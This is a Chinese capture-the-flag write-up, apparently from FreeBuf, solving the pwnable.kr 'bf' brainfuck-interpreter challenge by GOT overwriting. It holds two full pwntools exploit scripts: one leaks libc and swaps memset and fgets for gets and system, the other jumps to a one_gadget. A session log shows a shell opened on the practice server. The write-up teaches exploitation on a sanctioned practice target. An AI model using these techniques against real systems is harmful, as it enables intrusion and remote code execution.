前言
题目主要考点:GOT覆写技术。关于GOT覆写的基础知识以及例题可以参考这些文章:
题目
I made a simple brain-fuck language emulation program written in C. The [ ] commands are not implemented yet. However the rest functionality seems working fine. Find a bug and exploit it to get a shell.
Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so
Running at : nc pwnable.kr 9001
题目提供的仅有程序以及函数库
一个32bit开启了Stack、NX、RELRO保护的程序
初次尝试性运行:
程序大体是一个brainfuck测试程序,并且给出提示不要输入[]
审计
图中IDA截图部分函数名被替换及注释
main()中主要是赋值了一个全局变量p(第10行),输出一下欢迎提示语,然后清空了s的栈空间,从标准化输入读取数据到s中。然后依次取出s中的数作为参数,传入到do_brainfuck()
根据题目提示,还有结合do_brainfuck()来看,推测程序是一个小型的brain fuck编译器(什么是brainfuck(维基))。
do_brainfuck()里面主要是一个选择分支switch,其中的43、44等等都是ascii码,对应的字符请看图上IDA注释。
其中各个分支(符号代表)的功能,可见下表:(部分来源于TaQini)
操作 | 含义 | 解释 |
---|---|---|
> | p += 1 | p值加1 |
< | p -= 1 | p值减1 |
+ | (*p) += 1 | p值指向的值加1 |
- | (*p) -= 1 | p值指向的值减1 |
. | putchar(*p) | 输出 |
, | getchar(*p) | 输入 |
简单来说就是:,、.分别控制输入输出;<、>分别控制p后退前进;+、-分别控制p指针的前进后退。
brainfuck中的<、>实际上影响的是p中存储的值;+、-影响的是存储在tape的值
思路
为什么说这条题是考GOT覆写技术?或者说作者所设想的解题思路是通过GOT表覆写?(实际上应该不止这一种方法)
我们来看两个全局变量p和tape,在程序中的位置:bss段
这就离.got.plt很近,在IDA向上翻,不远就能看到这段信息:
指针*p指向的tape距离.got.plt最高位的函数距离是0x70,小于0x400。就完全有可能利用do_brainfuck()提供的移动&读取功能泄露出函数真实地址,进而计算得出libc基地址,并且可以利用写入功能覆写GOT表,控制函数跳转。
现在已有的条件是可以泄露出libc的基地址,最终目的是get shell,我们还需要一个system('//bin/sh')。题目提供了程序调用的函数库(libc),这就很方便得到某函数的偏移地址了。因此system()函数通过基地址加上偏移地址得到。那么现在关键是怎么传递参数//bin/sh
在main()中的这段代码中,memset()、fgets()被前后调用,我们可用将参数//bin/sh放到memset()首个参数位。
通过覆写GOT将memset()替换为有读取写入并传递参数功能的函数(如:gets),将fgets()替换为system()并向里传入参数。其中gets()的真实地址获取方式与system()相同。
思路总结:
通过泄露putchar()真实地址,得出libc基地址
覆写memset()为gets(),fgets()为system()
大致思路如上,具体实现需要注意的细节,在下面的脚本章节中,搭配具体脚本讲解。
脚本
#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
# 处理地址部分
tape_addr = 0x0804A0A0 # p指向的tape的地址,也即是<、>影响的值
putchar_addr = 0x0804A030 # putchar地址,可在IDA或者objdump查到
putchar_libc_offset = libc.symbols['putchar'] # putchar在libc中的偏移地址
memset_addr = 0x0804A02C # memset地址,可在IDA或者objdump查到
memset_libc_offset = libc.symbols['memset'] # memset在libc中的偏移地址
fgets_addr = 0x0804A010 # fgets地址,可在IDA或者objdump查到
fgets_libc_offset = libc.symbols['fgets']# fgets在libc中的偏移地址
main_addr = 0x08048671 # main函数起始地址,可在IDA查到
raw_libc_base_addr = '' # 用于存放泄露的putchar真实地址
# 构造payload部分
payload = '' # 初始化payload
payload += '<' * (tape_addr - putchar_addr) # 调整p指向到putchar(0x0804A030)
payload += '.' # 调用一次putchar函数,让plt中有putchar真实地址的记录
payload += '.>' * 0x4 # 读取putchar真实地址
payload += '<' * 0x4 + ',>' * 0x4 # 返回到putchar函数的顶部(0x0804A030),并覆写putchar为main函数的地址(用于覆写完成后,回跳到程序中运行函数getshell)
payload += '<' * (putchar_addr - memset_addr + 4) # 调整p指向到memset(0x0804A02C)
payload += ',>' * 0x4 # 覆写memset为system函数地址
payload += '<' * (memset_addr - fgets_addr + 4) # 调整p指向到fgets(0x0804A010)
payload += ',>' * 0x4 # 覆写fgets为gets函数地址
payload += '.' # 调用putchar回跳到main中
#log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)
#log.info("send end")
#gdb.attach(p,b*0x08048671)
# 计算libc基地址&各函数真实地址
p.recv(1) # 接收第一次调用putchar时,产生的1byte无用信息(\00)
raw_libc_base_addr = u32(p.recv(4)) # 接收泄露的putchar真实地址
libc_base_addr = raw_libc_base_addr - putchar_libc_offset # 泄露真实地址-函数在libc中偏移地址=libc基地址
gets_addr = libc_base_addr + libc.symbols['gets'] # 计算gets真实地址
system_addr = libc_base_addr + libc.symbols['system'] # 计算system真实地址
# 打印计算得到的各函数真实函数地址
log.success("putchar_addr = " + hex(raw_libc_base_addr))
log.success("libc_base_addr = " + hex(libc_base_addr))
log.success("gets_addr = " + hex(gets_addr))
log.success("system_addr = " + hex(system_addr))
# 输入各函数的地址
p.send(p32(main_addr))
p.send(p32(gets_addr))
p.send(p32(system_addr))
p.sendline('//bin/sh\0') # system参数,调用sh。\0为结束输入符
p.interactive()
处理地址部分:函数在内存的地址都是通过在IDA,从P变量向上翻到.got.plt中函数的地址。也可以用objdump -R ./bf查找got表,查询结果与在IDA中的相同。
构造payload部分
注意使用>、<移动p时(实际上增加p中值,相当于p+=1 p++),起始地址是0x0804A0A0(p被赋值&tape)。所以开始计算移动到putchar()应该是0x0804A0A0 - 0x0804A030
88行因为程序运行到目前为止,还有没有运用过一次putchar(),所以plt中没有记录,因此需要调用一次putchar(),即输入一个.。注意这里可能会给我们返回1byte的无用信息(因为调用了putchar()),所以我们在108行处理无用信息后,再开始接收泄露的putchar()真实地址。但从debug返回的信息来看,108行没有接收到任何字节,反而在109行接收到了5byte的信息(首位是\00),所以到底需要不需要108行处理1byte无用信息就根据实际情况自行调整吧~,反正脚本都能跑的通XD
之所以要将putchar()覆写为main(),是因为我们覆写完各函数之后,需要运行被覆写的函数才能get shell 啊!所以需要回跳到main()运行函数。
计算libc基地址
这里防止本人的年轻人痴呆就在大概记录下怎么计算libc基地址。
在程序运行环境的libc文件时,我们可以利用pwntools将libc文件用ELF()加载后(如:libc = ELF("./your_libc_file_name.so"),可以查询到各个函数在相对于libc基地址的偏移地址(如:libc.symbols['system'])。然后把利用程序漏洞而泄露出来的函数真实地址减去偏移地址就是libc基地址。(110行)
输入各函数的地址
看到其他writeup下面有提问:为什么一次性输入全部的地址,就能够输入到指定位置?
首先清楚的是我们调用brainfuck中的,输入,会从标准化输入中读取内容并输入(如果缓冲区有东西)这里补充一点个人理解:scanf、gets等等输入函数都有对应的结束输入符。例如我们用scanf采集我们的输入,空格就是输入结束符。假设我们这个时候输入这样的一段字符串test1 test2,那么scanf中采集到的是test1,而剩下的test2就会被放入标准化输入的缓冲区。
我们在发送payload(103行)之后,程序实际上是停留在了90行等待我们输入的阶段,然后我们输入全部的覆盖地址信息,程序会采集main()的地址覆写了putchar(),剩下的地址会被放入到了标准化输入的缓冲区。直到下一次调用输入时,就会从缓冲区取值输入。这就是为什么我们能一次性输入全部的值。
125行字符串末尾加了\0手动结束输入。
LOG
skye@skye-ubuntu18:~/pwnable.kr/bfed$ python2 bf.py
[DEBUG] PLT 0x8048440 getchar
[DEBUG] PLT 0x8048450 fgets
[DEBUG] PLT 0x8048460 __stack_chk_fail
[DEBUG] PLT 0x8048470 puts
[DEBUG] PLT 0x8048480 __gmon_start__
[DEBUG] PLT 0x8048490 strlen
[DEBUG] PLT 0x80484a0 __libc_start_main
[DEBUG] PLT 0x80484b0 setvbuf
[DEBUG] PLT 0x80484c0 memset
[DEBUG] PLT 0x80484d0 putchar
[*] '/home/skye/pwnable.kr/bfed/bf'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/home/skye/pwnable.kr/bfed/bf_libc.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] start send
[+] Opening connection to pwnable.kr on port 9001: Done
[DEBUG] Received 0x25 bytes:
'welcome to brainfuck testing system!!'
[DEBUG] Received 0x2d bytes:
'\n'
'type some brainfuck instructions except [ ]\n'
[DEBUG] Sent 0xbf bytes:
'<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<..>.>.>.><<<<,>,>,>,><<<<<<<<,>,>,>,><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<,>,>,>,>.\n'
[*] send end
[DEBUG] Received 0x1 bytes:
00000000 d6 │·│
00000001
[DEBUG] Received 0x4 bytes:
00000000 20 29 64 f7 │ )d·││
00000004
[+] putchar_addr = 0xf7642920
[+] libc_base_addr = 0xf75e1000
[+] gets_addr = 0xf76403e0
[+] system_addr = 0xf761bda0
[DEBUG] Sent 0x4 bytes:
00000000 71 86 04 08 │q···││
00000004
[DEBUG] Sent 0x4 bytes:
00000000 e0 03 64 f7 │··d·││
00000004
[DEBUG] Sent 0x4 bytes:
00000000 a0 bd 61 f7 │··a·││
00000004
[DEBUG] Sent 0xa bytes:
00000000 2f 2f 62 69 6e 2f 73 68 00 0a │//bi│n/sh│··│
0000000a
[*] Switching to interactive mode
[DEBUG] Received 0x25 bytes:
'welcome to brainfuck testing system!!'
welcome to brainfuck testing system!![DEBUG] Received 0x2d bytes:
'\n'
'type some brainfuck instructions except [ ]\n'
type some brainfuck instructions except [ ]
$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received 0x23 bytes:
'BrainFuck? what a weird language..\n'
BrainFuck? what a weird language..
$
总结
bss段靠近.got.plt段,可能存在GOT覆写
IDA查找.got.plt段和objdump -R file_name查询got表的函数地址一致
一点点异想天开
嗯??不是说3种解法么?怎么总结了?别急这不就来了么?嘻嘻XD
这里只给出第一种方法的详解,另外一种给出思路。
1. 利用one_gadget
其实将fgets()、memset()分别覆写为gets()、system(),然后通过gets()向system()输入参数/bin/sh。这个步骤不是在构建一个gadget?那么是不是可以用one_gadget工具查询在给出的函数文件本身就存在的one_gadget,然后覆写GOT表,直接跳转get shell,免去了自己手动构建gadget的过程XD。
怎么安装one_gadget看这里或谷歌之?
首先先用one_gadget查下给定的函数库有哪些one-gadget。
这里给出6个one-gadget,那就一个个试,直到可以为止(测试 结果:最后两个可行)
然后将payload构建代码,发送的地址信息修改一下(38行;具体看下面给出的脚本)
#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
# address
tape_addr = 0x0804A0A0
putchar_addr = 0x0804A030
putchar_libc_offset = libc.symbols['putchar']
raw_libc_base_addr = ''
# build payload
payload = ''
payload += '<' * (tape_addr - putchar_addr) # move to putchar address(0x0804A030)
payload += '.' # load putchar into plt (for the time to use putchar)
payload += '.>' * 0x4 # load putchar real address
payload += '<' * 0x4 + ',>' * 0x4 # overload putchar
payload += '.' # getshell
log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)
log.info("send end")
# libc_base_addr
p.recv(1) # recv the first time call putchar junk info
raw_libc_base_addr = u32(p.recv(4))
libc_base_addr = raw_libc_base_addr - putchar_libc_offset # recv_addr - offset == base_addr
p.send(p32(libc_base_addr + 0x5fbc5)) # 将one-gadget偏移地址填在这里,现在给出的偏移地址为试验成功的。0x5fbc6也是可以的。
p.interactive()
2. shellcode
还有一个想法就是我们在p指向的tape左右共计0x800的空间内找到一个可写入的空间,将shellcode写入,然后覆写GOT表,跳转运行shellcode来get shell?
由于长度有限制,可以到http://shell-storm.org找短一点的shellcode。
*本文作者:skye231,转载请注明来自FreeBuf.COM